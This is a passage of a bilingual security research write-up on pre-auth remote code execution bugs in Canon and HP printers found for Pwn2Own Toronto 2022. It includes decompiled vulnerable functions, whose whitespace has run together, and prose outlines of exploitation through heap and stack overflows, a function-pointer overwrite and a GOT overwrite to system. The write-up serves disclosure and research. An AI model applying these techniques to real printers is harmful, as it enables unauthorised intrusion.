int__fastcallreturnNegativeRegistrationResponse(nb_info*nbinfo,Adapter*adapter,inta3){intv6;// r2netbios_header*response_buf;// r5intNameWhateverResponse;// r2unsigned__int8v10[20];// [sp+4h] [bp-2Ch] BYREF__int16v11;// [sp+18h] [bp-18h] BYREFintv12;// [sp+1Ah] [bp-16h] BYREFmaybe_memcpy_s(v10,0x44ED3100,20);sub_41C47A20((int)"netcifsnqendapp/IMP/nq/ndinname.c",0x44ED30DC,2349,0x64u);if...v11=0;sub_40B06FD8(*(_DWORD*)adapter->gap0,&v12);response_buf=*(netbios_header**)nbinfo->adapter->responsebuf;NameWhateverResponse=ndGenerateNameWhateverResponse(response_buf,nbinfo->name,0x20u,(char*)&v11,6u);if(NameWhateverResponse>0){response_buf->id=nbinfo->id;//------[3]response_buf->flag=__rev16(a3|0xA800);if(sySendToSocket(nbinfo->adapter->fd_1022,(constchar*)response_buf,NameWhateverResponse,v10,(unsigned__int16)nbinfo->src_port)<=0){logg("netcifsnqendapp/IMP/nq/ndinname.c",0x44ED30DC,2392,10);v6=2393;}else{v6=2396;}gotoLABEL_9;}assset("netcifsnqendapp/IMP/nq/ndinname.c",0x44ED30DC,2372,100);return-1;}

In [3], it will overwrite response_buf->id with nbinfo->id.

That is, if we can overwrite the nb_info structure and forge the structure of the Adapter, we can do arbitrary memory writing. We need to find a global buffer to forge the structure. We finally chose BJNP session buffer as our target. It will copy our payload when we start a BJNP session.

After we have arbitrary memory writing. We can overwrite the function pointer of SLP service with BJNP session buffer pointer.

int__fastcallsub_4159CF90(unsigned__int8*a1,unsignedinta2,inta3,int*a4){...result=((int(__fastcall*)(int*,char*))dword_45C8FF14[2*v20])(&v38,v47);// SLP functionif(!result)gotoLABEL_46;}returnresult;}

It does not implement DEP. After overwriting the function pointer, we can use the BJNP session buffer again to put our shellcode. After that, we can use the SLP attribute request to control the PC and run our shellcode.

HP

Our target this time is the HP Color LaserJet Pro M479fdw printer, which is primarily Linux-based. This makes the analysis relatively simpler. Under the Web Service, there are numerous ‘cgi’ files providing various printer operations. These operate via the FastCGI method. You can refer to the nginx config to see which path corresponds to which port and service. The config can be found at rootfs/sirius/rom/httpmgr_nginx.

/Sirius/rom/httpmgr_nginx/ledm.conf

Where is the bug

/usr/bin/local/slanapp is responsible for handling scan-related operations and primarily listens on 127.0.0.1:14030.

We can see from rootfs/sirius/rom/httpmgr_nginx/rest_scan.conf :

If we access /Scan/Jobs, the request is forwarded to a FastCGI listening on the 14030 port. After analysis, we found that it was handled by /rootfs/usr/local/bin/slangapp. When we send a request to /Scan/Jobs, it will call scan_job_http_handler in slangapp.

Where is the bug

There is a stack overflow at rest_scan_handle_get_request in slangapp.

int__fastcallscan_job_http_handler(inta1){...intrequest_method;// [sp+14h] [bp-2Ch]char*host;// [sp+18h] [bp-28h] BYREFintport;// [sp+20h] [bp-20h] BYREFchar*uri;// [sp+28h] [bp-18h] BYREFintpathinfo;// [sp+30h] [bp-10h] BYREFinturilen[2];// [sp+38h] [bp-8h] BYREFintpathinfo_len;// [sp+40h] [bp+0h] BYREFchars[132];// [sp+44h] [bp+4h] BYREFchardest[260];// [sp+C8h] [bp+88h] BYREFhost=0;memset(s,0,0x81u);port=-1;uri=0;pathinfo=0;urilen[0]=0;pathinfo_len=0;memset(byte_5DBD0,0,0x9C4u);v2=((int(__fastcall*)(structhttpmgr_fptrtbl**,int))(*rest_scan_req_ifc_tbl)->acceptRequestHelper)(rest_scan_req_ifc_tbl,a1);if...if(((int(__fastcall*)(structhttpmgr_fptrtbl**,int,char**,int*,int*,int*,_DWORD,_DWORD))(*rest_scan_req_ifc_tbl)->getURI)(rest_scan_req_ifc_tbl,a1,&uri,urilen,&pathinfo,&pathinfo_len,0,0)<0)_DEBUG_syslog((int)"REST_SCAN_DEBUG",0,1193517589,0,0);if...v17=1;if...LABEL_7:request_method=((int(__fastcall*)(structhttpmgr_fptrtbl**,int))(*rest_scan_req_ifc_tbl)->getVerb)(rest_scan_req_ifc_tbl,a1);if...v3=((int(__fastcall*)(structhttpmgr_fptrtbl**,int))(*rest_scan_req_ifc_tbl)->getContentLength)(rest_scan_req_ifc_tbl,a1);v4=v3;if((unsignedint)(v3-1)<=0x9C2){v14=v3;v15=0;do{if(v14>=2500)v14=2500;v16=((int(__fastcall*)(structhttpmgr_fptrtbl**,int,char*,int))(*rest_scan_req_ifc_tbl)->httpmgr_recvData)(rest_scan_req_ifc_tbl,v2,&byte_5DBD0[v15],v14);if(v16<=0)break;v15+=v16;v14=v4-v15;}while(v4-v15>0);*((_BYTE*)&dword_5DBC8+v4+8)=0;if(v15<0){v17=1;_DEBUG_syslog((int)"REST_SCAN_DEBUG",0,0x475DA215,v15,a1);}}elseif(v3>0x9C3){v5=0;do{while(2500-v5>0){v6=((int(__fastcall*)(structhttpmgr_fptrtbl**))(*rest_scan_req_ifc_tbl)->httpmgr_recvData)(rest_scan_req_ifc_tbl);if(v6<=0)break;v5+=v6;}v7=v5<=0;v5=0;}while(!v7);}v8=((int(__fastcall*)(structhttpmgr_fptrtbl**,int,char**,int*))(*rest_scan_req_ifc_tbl)->getHost)(rest_scan_req_ifc_tbl,a1,&host,&port);if...v9=((int(__fastcall*)(structhttpmgr_fptrtbl**,int))(*rest_scan_req_ifc_tbl)->completeRequestHelper)(rest_scan_req_ifc_tbl,a1);if(v9>0){do{v10=0;do{while(2500-v10>0){v11=((int(__fastcall*)(structhttpmgr_fptrtbl**))(*rest_scan_req_ifc_tbl)->httpmgr_recvData)(rest_scan_req_ifc_tbl);if(v11<=0)break;v10+=v11;}v7=v10<=0;v10=0;}while(!v7);v12=((int(__fastcall*)(structhttpmgr_fptrtbl**,int))(*rest_scan_req_ifc_tbl)->completeRequestHelper)(rest_scan_req_ifc_tbl,a1);}while(v12>0);v9=v12;}...result=(*(int(__fastcall**)(int))(*(_DWORD*)dword_65260+20))(dword_65260);dword_594F0=result;switch(request_method){case1:result=rest_scan_handle_get_request(a1,v4,uri,(unsigned__int8*)pathinfo,pathinfo_len);// ----- [1]break;...default:returnresult;}returnresult;

If the request method is GET, it will use rest_scan_handle_get_request at [1] to handle it. It also passes the pathinfo to this function.

int__fastcallrest_scan_handle_get_request(inta1,inta2,char*s1,unsigned__int8*pathinfo,intpathinfo_len){structhttpmgr_fptrtbl**v8;// r0intv9;// r1intv10;// r2structhttpmgr_fptrtbl**v11;// r0intv12;// r1intresult;// r0intv14;// r0intnext_char;// r4unsigned__int8*v16;// r3intv17;// r1intv18;// t1char*v19;// r5intv20;// r5intv21;// r0intv22;// r7size_tv23;// r8intv24;// r0charfirst_path_info[32];// [sp+8h] [bp-D8h] BYREFcharsecond_path_info[32];// [sp+28h] [bp-B8h] BYREFcharpagenumber[152];// [sp+48h] [bp-98h] BYREFif...if...if(!strncmp(s1,"/Scan/UserReadyToScan",0x15u)){...}else{v14=strncmp(s1,"/Scan/Jobs",0xAu);if(v14){...}...next_char=*pathinfo;if((next_char&0xDF)==0){first_path_info[0]=0;LABEL_37:_DEBUG_syslog("REST_SCAN_DEBUG",0,0x411FA215,400,0);v8=rest_scan_req_ifc_tbl;v9=a1;v10=400;gotoLABEL_6;}v16=pathinfo;v17=0;do//------------------------------------------------------ [2]  {if(next_char!='/')first_path_info[32*v17+v14]=next_char;v19=&first_path_info[32*v17];if(next_char=='/'){v20=32*v17++;pagenumber[v20-64+v14]=0;v19=&first_path_info[v20+32];v14=0;}else{++v14;}v18=*++v16;next_char=v18;}while((v18&0xDF)!=0);v19[v14]=0;if(v17!=2||strcmp(second_path_info,"Pages")||dword_5DBC8!=strtol(first_path_info,0,10))gotoLABEL_37;v24=strtol(pagenumber,0,10);result=rest_scan_send_scan_data(a1,v24)+1;if(result)rest_scan_vp_thread_created=1;elsereturnrest_scan_send_err_reply(a1,400);}returnresult;}

But when it parse the pathinfo at [2], it does not check the length of pathinfo. Then copy the pathinfo to the local buffer(first_path_info[32]), which leads to a stack overflow.

Exploitation

We can construct the request to /Scan/Jobs/ to trigger it. It does not have Stack Guard, so we can overwrite the return address directly. But it has DEP, we need to do ROP to achieve our goal. Finally, we use ROP to overwrite the GOT of strncmp. After overwriting it, we can execute arbitrary commands when we access /Copy/{cmd}

However, in the end, this vulnerability collided with another team’s discovery.

Summary

Based on the results from Pwn2Own Austin 2021 to Pwn2Own Toronto 2022, printer security remains an easily overlooked issue. In just one year, the number of teams capable of compromising printers has significantly increased. Even in the third year, at Pwn2Own Toronto 2023, many teams still found vulnerabilities. It is recommended for everyone using these IoT devices to turn off unnecessary services, set up firewalls properly, and ensure appropriate access controls to reduce the risk of attacks.

Your printer is not your printer ! - Hacking Printers at Pwn2Own Part II

$
0
0

English Version, 中文版本

Hacking Printers at Pwn2Own Toronto 2022

延續之前的研究,去年我們也在 Canon 的其他型號中,找到了 Pre-auth RCE 漏洞 (CVE-2023-0853CVE-2023-0854),同時 HP 的印表機也有找到 Pre-auth RCE 的漏洞,然而最終與其他隊伍撞洞。我們將在本文講述我們在 Pwn2own Toronto 中所使用的 Canon 及 HP 漏洞的細節,以及我們的利用方式。

  • Pwn2Own Toronto 2022 Target
TargetPriceMaster of Pwn Points
HP Collor LaserJet Pro M479fdw$200002
Lexmark MC3224i$200002
Canon imageCLASS MF743Cdw$200002

Analysis

Canon

Firmware Extract

與 2021 年相同,可參考前述部分,本次版本為 v11.04 。

HP

Firmware 本身可以從 HP 的 Firmware 網站中取得,但與 2021 年不同,並無法直接用 binwalk 解出,這邊的 Firmware 是透過 AES 加密的,從現有的資訊中不太好直接解開。

而這邊起初想法是找相同系列的 Fimware 看看是否有未加密版本,然而 HP 官方的 Firmware 中,並沒有符合條件的 Firmware,原本打算拆印表機想辦法 Dump firmware,但我們後來在 Google 的過程中,找到了舊版的 mirror 站,而該網站有開 index of,我們可以從中獲得所有在 mirror 網站中的 Firmware。

但這邊問題是該 Mirror 網站只有 mirror 到 2016 並沒有最新版本的資訊,不過後來可以從網站資訊中,獲得官方的目錄結構,從而取得相同系列的但沒有加密的 Firmware。

在分析過後,我們從 Firmware 中找到 fwupd 中有解密相關資訊,透過逆向可以知道加密方法及 Key,進而解出目標版本的 Firmware。

HP Collor LaserJet Pro M479fdw

  • OS - Linux Base
  • ARMv7 32bit little-endian

Vulnerability & Exploitation

Canon

mDNS (CVE-2023-0853)

mDNS 協定主要提供了區網中的域名解析功能,並且不需要有 Name Server 的介入,常用於 Apple 及 IoT 設備中。

而在 Canon 中,預設情況下,也提供了相同的功能,方便使用者尋找區網中的印表機。

該協定主要以 DNS 為基礎,基本上 mDNS 也大多建立在 DNS 封包格式 (RFC1035)上,格式如下:

The packet format:

    +---------------------+
    |        Header       |
    +---------------------+
    |       Question      | the question for the name server
    +---------------------+
    |        Answer       | RRs answering the question
    +---------------------+
    |      Authority      | RRs pointing toward an authority
    +---------------------+
    |      Additional     | RRs holding additional information
    +---------------------+
(diagram from https://www.ietf.org/rfc/rfc1035.txt)

The header contains the following fields:

                                    1  1  1  1  1  1
      0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      ID                       |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |QR|   Opcode  |AA|TC|RD|RA|   Z    |   RCODE   |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    QDCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    ANCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    NSCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    ARCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
(diagram from https://www.ietf.org/rfc/rfc1035.txt)

主要可以拆分為 Header 及 body 部分,主要的請求都放在 body 中,後面三個欄位為同樣的格式。 Answer 欄位主要紀錄針對 Question 的 Resource records (RRs),

Resource record format:

                                    1  1  1  1  1  1
      0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                                               |
    /                                               /
    /                      NAME                     /
    |                                               |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      TYPE                     |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                     CLASS                     |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      TTL                      |
    |                                               |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                   RDLENGTH                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--|
    /                     RDATA                     /
    /                                               /
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
(diagram from https://www.ietf.org/rfc/rfc1035.txt)

RDATA 部分會根據 type 不同而有所不同,而當 type=NSEC 其格式如下

   The RDATA of the NSEC RR is as shown below:

                        1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   /                      Next Domain Name                         /
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   /                       Type Bit Maps                           /
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
(diagram from https://www.ietf.org/rfc/rfc4034.txt)

其餘部分在這個漏洞中不太重要,不另外多做詳細解釋,更多細節可以參考 RFC6762RFC1035以及 RFC4034

漏洞位置當 Canon ImageCLASS MF743Cdw 在處理 Answer 欄位(type=NSEC)時,並沒有檢查長度導致 stack overflow 。

bnMdnsParseAnswers function 是主要負責處理封包中 answer 欄位

int__fastcallbnMdnsParseAnswers(netbios_header*mdns_packet,unsignedint*ppayloadlen,netbios_header*pmdns_header,_WORD*anwser_rr,rrlist**payload,_DWORD*pinfo){...charnsec_buf[256];// ------ fixed size on the stack..._mdns_packet=(int)mdns_packet;p_payloadlen=ppayloadlen;p_mdns_header=pmdns_header;anwser_cnt=anwser_rr;v66=0;cur_ptr=&mdns_packet->payload[*pinfo];v9=*payload;v10=*payload;do{v11=v10==0;if(v10){v9=v10;v10=(rrlist*)v10->c;}else{v6=aBnmdnsparseans;v10=0;v67=0;}}while(!v11);while((unsigned__int16)*anwser_cnt>v67){...if...type=(unsigned__int16)pname->type;if(type==28)gotoLABEL_36;if...if...if(type!=0x21){if(type!=47)// NSEC{...gotoLABEL_95;}v62=0;v63=0;zeromemory(nsec_buf,256,v19,v20);v47=bnMdnsMalloc(8);rrlist->pname->nsec=v47;if(!v47){bnMdnsFreeRRLIST((int)rrlist);v50=2720;LABEL_76:debugprintff(3610,3,"[bnjr] [%s] <%s:%d> bnMdnsParseAnswers error in malloc(NSEC)\n","IMP/mdns/common/tcBnMdnsMsg.c",v6,v50);return3;}maybe_realloc(v47,8);nsec=rrlist->pname->nsec;nsec_len=bnMdnsGetDecodedRRNameLen(cur_ptr,*ppayloadlen,(char*)_mdns_packet,&dwbyte);if...if...v51=(_BYTE*)bnMdnsMalloc(nsec_len);*(_DWORD*)nsec=v51;if...consume_label(cur_ptr,*ppayloadlen,_mdns_packet,v51,nsec_len);v52=dwbyte;v53=&cur_ptr[dwbyte];v54=*ppayloadlen-dwbyte;*ppayloadlen=v54;v55=(unsigned__int8)v53[1];v56=(unsigned__int8)*v53;nsec_=v53+2;*ppayloadlen=v54-2;v57=v56|(v55<<8);nsec_len_=__rev16(v57);if...memcpy((int)nsec_buf,nsec_,nsec_len_,v57);//-------- [1]  stack overflow for(i=0;i<(int)nsec_len_;++i){if(nsec_buf[i]){for(j=0;j<8;++j){if(1<<j==(unsigned__int8)nsec_buf[i]){if(v62)v63=7-j+8*i;elsev62=7-j+8*i;}}}}*(_WORD*)(nsec+4)=v62;...}*pinfo=&cur_ptr[-_mdns_packet-0xC];*anwser_cnt-=v66;return0;}}

當他在處理 NSEC(47) 的 Record 時,並沒有檢查長度就直接複製 data 到 local buffer(nsec_buf[256]) ,如上述程式碼的 [1],導致 stack overflow

Exploitation

這裡用方法與 Pwn2Own 2021 Austin 時相同,這邊就不在多做敘述。

NetBIOS (CVE-2023-0854)

在 NetBIOS 中主要提供下列三種不同的服務:

  • Name service (NetBIOS-NS) : Port 137/TCP and 137/UDP
  • Datagram distribution service (NetBIOS-DGM) : Port 138/UDP
  • Session service (NetBIOS-SSN) : Port 139/TCP

這邊我們將會把重點放在 NetBIOS-NS 中,NetBIOS-NS 也會提供區網中域名解析的服務,常見於 Windows 作業系統中,而該封包格式也是基於 DNS 的封包。其詳細內容定義於 RFC1002

The packet format:

     1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |         NAME_TRN_ID           | OPCODE  |   NM_FLAGS  | RCODE |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |          QDCOUNT              |           ANCOUNT             |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |          NSCOUNT              |           ARCOUNT             |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
(diagram from https://datatracker.ietf.org/doc/html/rfc1002)

而 Query 則會被放在 header 之後

                        1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                                                               |
   + ------                                                ------- +
   |                            HEADER                             |
   + ------                                                ------- +
   |                                                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                                                               |
   /                       QUESTION ENTRIES                        /
   |                                                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                                                               |
   /                    ANSWER RESOURCE RECORDS                    /
   |                                                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                                                               |
   /                  AUTHORITY RESOURCE RECORDS                   /
   |                                                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                                                               |
   /                  ADDITIONAL RESOURCE RECORDS                  /
   |                                                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
(diagram from https://datatracker.ietf.org/doc/html/rfc1002)

其中我們只須關注於 Question Entries 欄位

Question Section:

                        1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2 2 2 2 3 3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                                                               |
   /                         QUESTION_NAME                         /
   /                                                               /
   |                                                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |         QUESTION_TYPE         |        QUESTION_CLASS         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Question Name 都是由許多 label 組成,每個 label 都如同前述 LLMNR 所述,都是長度加上字串的組合。其餘欄位則不另外多加敘述,詳細內容可參考 RFC1002

漏洞位置當 Canon ImageCLASS MF743Cdw 在處理 NetBIOS 封包的 Question 欄位時,沒有正確檢查長度導致 Heap Overflow 。

其漏洞位置在 cmNetBiosParseName中,我們可透過 ndNameProcessExternalMessage 觸發。

我們這邊就稍微來分析一下漏洞成因:

當 Canon 中的 NetBIOS 服務啟動時,會先去初始化 netbios_ns_buffer,並分配 0xff 大小空間給該 buffer。

intndNameInit(){sub_41C47A20((int)"netcifsnqendapp/IMP/nq/ndnampro.c",0x44ED3194,97,0x64u);netbios_ns_buffer=calloc(1,0xFF);...return-1;}

當接收到來自 137/UDP 的 NetBIOS 封包時,就會透過 ndNameProcessExternalMessage 來處理封包

int__fastcallndNameProcessExternalMessage(Adapter*a1){netbios_header*packet;// r0unsigned__int8*v3;// r6intflag;// r0intv5;// r5intv6;// r0intv8;// r4charnbname[40];// [sp+8h] [bp-28h] BYREFsub_41C47A20((int)"netcifsnqendapp/IMP/nq/ndnampro.c",0x44ED31AC,178,0x64u);packet=(netbios_header*)a1->packet;LOWORD(a1->vvv)=LOBYTE(packet->id)|(HIBYTE(packet->id)<<8);v3=cmNetBiosParseName(packet,(unsigned__int8*)packet->payload,(int)nbname,netbios_ns_buffer,0xFFu);//---- [1]//heap overflow at netbios_ns_buffer  if...flag=getname_query_flag((netbios_header*)a1->packet);v5=flag;if(flag==0xA800){v6=ndInternalNamePositiveRegistration(a1,(int)nbname,(int)v3);gotoLABEL_17;}if(flag>0xA800){switch(flag){case0xA801:v6=ndInternalNameNegativeRegistration(a1,(int)nbname);gotoLABEL_17;...}gotoLABEL_14;}...ndInternalNameNegativeQuery((int)a1,(int)nbname);v6=ndExternalNameNegativeQuery((int)a1,nbname);LABEL_17:v8=v6;assset("netcifsnqendapp/IMP/nq/ndnampro.c",0x44ED31AC,238,100);returnv8;}

在上述程式碼[1]中,該 cmNetBiosParseName函式,會去處理 Question 欄位中的名稱,也提供了 buffer 大小給該函式,然而該函式並沒有正確檢查長度,導致複製過多的資料到 netbios_ns_buff 導致 heap overflow

我們來看一下 cmNetBiosParseName函式

unsigned__int8*__fastcallcmNetBiosParseName(netbios_header*netbios_packet,unsigned__int8*netbios_label,intnetbios_name,_BYTE*domain_name,unsignedintmaxlen){charv5;// r9unsigned__int8*v11;// r0_BYTE*v12;// r1unsignedinti;// r0charv15;// r3charv16;// r2intv17;// r0unsigned__int8*v18;// r0unsignedintv19;// r3char*label_;// r0unsignedintlabellen_;// r4unsignedintlabellen;// t1char*v23;// r5unsigned__int8*next[9];// [sp+4h] [bp-24h] BYREF...if(*v11==0x20){...v17=*next[0];if(*next[0])v5='.';else*domain_name=0;if(v17){do{v18=resolveLabel(netbios_packet,next);labellen=*v18;label_=(char*)(v18+1);labellen_=labellen;if(maxlen>labellen){memcpy((int)domain_name,label_,labellen_,v19);v23=&domain_name[labellen_];maxlan-=labellen_;// ---------- [2]              // it does not subtract the length of "."*v23=v5;domain_name=v23+1;}}while(*next[0]);*(domain_name-1)=0;}assset("netcifsnqecorelib/IMP/nq/cmnbname.c",0x44A86D7C,634,100);returnnext[0]+1;}else{logg("netcifsnqecorelib/IMP/nq/cmnbname.c",0x44A86D7C,595,10);return0;}}

從這個函式中,可以看出他在處理 domain name 時,有按照所提供的參數來檢查長度,並且會在每個 label 間加入 .,然而在 [2]的部分並沒有去檢查 .這個字元的長度,實際上的長度可以比原本的 buffer 還要長,導致 buffer overflow。

Exploitation

原本以為會需要更詳細去逆向 Heap internal,不過幸運的是,後來發現到 buffer 後面有好用的結構可以利用。

netbios_ns_buffer後,存在一個結構,這邊先命名為 nb_info

The layout of heap memory:

The structure of nb_info :

structnb_info{intactive;charnbname[16];intx;inty;shortz;shortsrc_port;shorttid;shortw;Adapter*adapter;char*ptr;intstate;...}

該結構主要用來儲存 NetBIOS 的名稱資訊,而其中也包含另外一個結構,這裡命名為 Adapter,主要儲存該 NetBIOS 的連線資訊。

The structure of Adapter :

structAdapter{intidx;_BYTEgap0[16];intx;intfd_1022;intfd_1023;inty;_WORDsrc_port;_DWORDsrc_ip;intvvv;intpacket;_DWORDrecv_bytes;char*response_buf;_DWORDdword3C;};

在初步了解這些結構之後,我們可以先回頭看一下 ndNameProcessExternalMessage,如果將封包中的 flag 欄位設成 0xA801,將會使用 ndInternalNameNegativeRegistration去處理 NetBIOS name. 該結果將會寫入Adapter->responsebuf.

case0xA801:v6=ndInternalNameNegativeRegistration(a1,(int)nbname);gotoLABEL_17;

在 ndInternalNameNegativeRegistration 中:

int__fastcallndInternalNameNegativeRegistration(Adapter*adapter,inta2){...if(v8){returnNegativeRegistrationResponse((nb_info*)v6,adapter,3);}...}

只要滿足條件就會去 returnNegativeRegistrationResponse 處理 Response,而在 returnNegativeRegistrationResponse 中:

int__fastcallreturnNegativeRegistrationResponse(nb_info*nbinfo,Adapter*adapter,inta3){intv6;// r2netbios_header*response_buf;// r5intNameWhateverResponse;// r2unsigned__int8v10[20];// [sp+4h] [bp-2Ch] BYREF__int16v11;// [sp+18h] [bp-18h] BYREFintv12;// [sp+1Ah] [bp-16h] BYREFmaybe_memcpy_s(v10,0x44ED3100,20);sub_41C47A20((int)"netcifsnqendapp/IMP/nq/ndinname.c",0x44ED30DC,2349,0x64u);if...v11=0;sub_40B06FD8(*(_DWORD*)adapter->gap0,&v12);response_buf=*(netbios_header**)nbinfo->adapter->responsebuf;NameWhateverResponse=ndGenerateNameWhateverResponse(response_buf,nbinfo->name,0x20u,(char*)&v11,6u);if(NameWhateverResponse>0){response_buf->id=nbinfo->id;//------[3]response_buf->flag=__rev16(a3|0xA800);if(sySendToSocket(nbinfo->adapter->fd_1022,(constchar*)response_buf,NameWhateverResponse,v10,(unsigned__int16)nbinfo->src_port)<=0){logg("netcifsnqendapp/IMP/nq/ndinname.c",0x44ED30DC,2392,10);v6=2393;}else{v6=2396;}gotoLABEL_9;}assset("netcifsnqendapp/IMP/nq/ndinname.c",0x44ED30DC,2372,100);return-1;}

可以看到 [3]會把 response_buf->id 寫成 nbinfo->id。

也就是說,如果我們可以覆蓋掉 nb_info結構,並且構造 Adapter我們就會有一個任意記憶體寫入,而實際上構造方式很簡單,只要找個 Global Buffer 去構造就可以了,我們這邊選擇了 BJNP Session Buffer 去構造我們結構。

而在我們有任意寫入之後,我們可以覆蓋 SLP 的函數指針來達成 RCE,後續利用就與前述相同,這邊就不另外多做介紹了。

HP

這次目標是 HP Collor LaserJet Pro M479fdw 這台印表機,其主要是 Linux Base 的,分析起來相對單純很多,而其中 Web Service 底下有許多的 cgi 來提供各種不同的印表機操作,這些都是透過 FastCGI 方式來運作,可參考 nginx config 來看每個 path 分別對應到哪個 Port 及哪個 Service

/Sirius/rom/httpmgr_nginx/ledm.conf

/usr/bin/local/slanapp負責處理 scan 相關的操作,主要 listen 在 127.0.0.1:14030

當我們存取 /Scan/Jobs 路徑時,就會透過這個 cgi 來處理

漏洞位置

當 HP 處理 /Scan/Jobs 底下的 get 請求時,會使用 rest_scan_handle_get_request 來處理,同時也會將 pathinfo 一起傳入

int__fastcallrest_scan_handle_get_request(inta1,inta2,char*s1,unsigned__int8*pathinfo,intpathinfo_len){structhttpmgr_fptrtbl**v8;// r0intv9;// r1intv10;// r2structhttpmgr_fptrtbl**v11;// r0intv12;// r1intresult;// r0intv14;// r0intnext_char;// r4unsigned__int8*v16;// r3intv17;// r1intv18;// t1char*v19;// r5intv20;// r5intv21;// r0intv22;// r7size_tv23;// r8intv24;// r0charfirst_path_info[32];// [sp+8h] [bp-D8h] BYREFcharsecond_path_info[32];// [sp+28h] [bp-B8h] BYREFcharpagenumber[152];// [sp+48h] [bp-98h] BYREFif...if...if(!strncmp(s1,"/Scan/UserReadyToScan",0x15u)){...}else{v14=strncmp(s1,"/Scan/Jobs",0xAu);if(v14){...}...next_char=*pathinfo;if((next_char&0xDF)==0){first_path_info[0]=0;LABEL_37:_DEBUG_syslog("REST_SCAN_DEBUG",0,0x411FA215,400,0);v8=rest_scan_req_ifc_tbl;v9=a1;v10=400;gotoLABEL_6;}v16=pathinfo;v17=0;do//------------------------------------------------------ [2]  {if(next_char!='/')first_path_info[32*v17+v14]=next_char;v19=&first_path_info[32*v17];if(next_char=='/'){v20=32*v17++;pagenumber[v20-64+v14]=0;v19=&first_path_info[v20+32];v14=0;}else{++v14;}v18=*++v16;next_char=v18;}while((v18&0xDF)!=0);v19[v14]=0;if(v17!=2||strcmp(second_path_info,"Pages")||dword_5DBC8!=strtol(first_path_info,0,10))gotoLABEL_37;v24=strtol(pagenumber,0,10);result=rest_scan_send_scan_data(a1,v24)+1;if(result)rest_scan_vp_thread_created=1;elsereturnrest_scan_send_err_reply(a1,400);}returnresult;}

但當在 [2]處理 pathinfo 時,並沒有檢查長度,並且直接複製到 local buffer(first_path_info[32]) 中,導致 stack overflow。

Exploitation

我們可以構造很長的 request 到 /Scan/Jobs/ 來觸發漏洞,並且該處沒有 Stack Guard 也沒有 ASLR,可以直接覆蓋 return address,這邊只需要做 ROP 覆蓋掉 strncmp 的 GOT 到 system 後,就可以透過 /Copy/{cmd}來執行任意指令了。

不過最終這個漏洞與其他隊伍撞洞了。

Summary

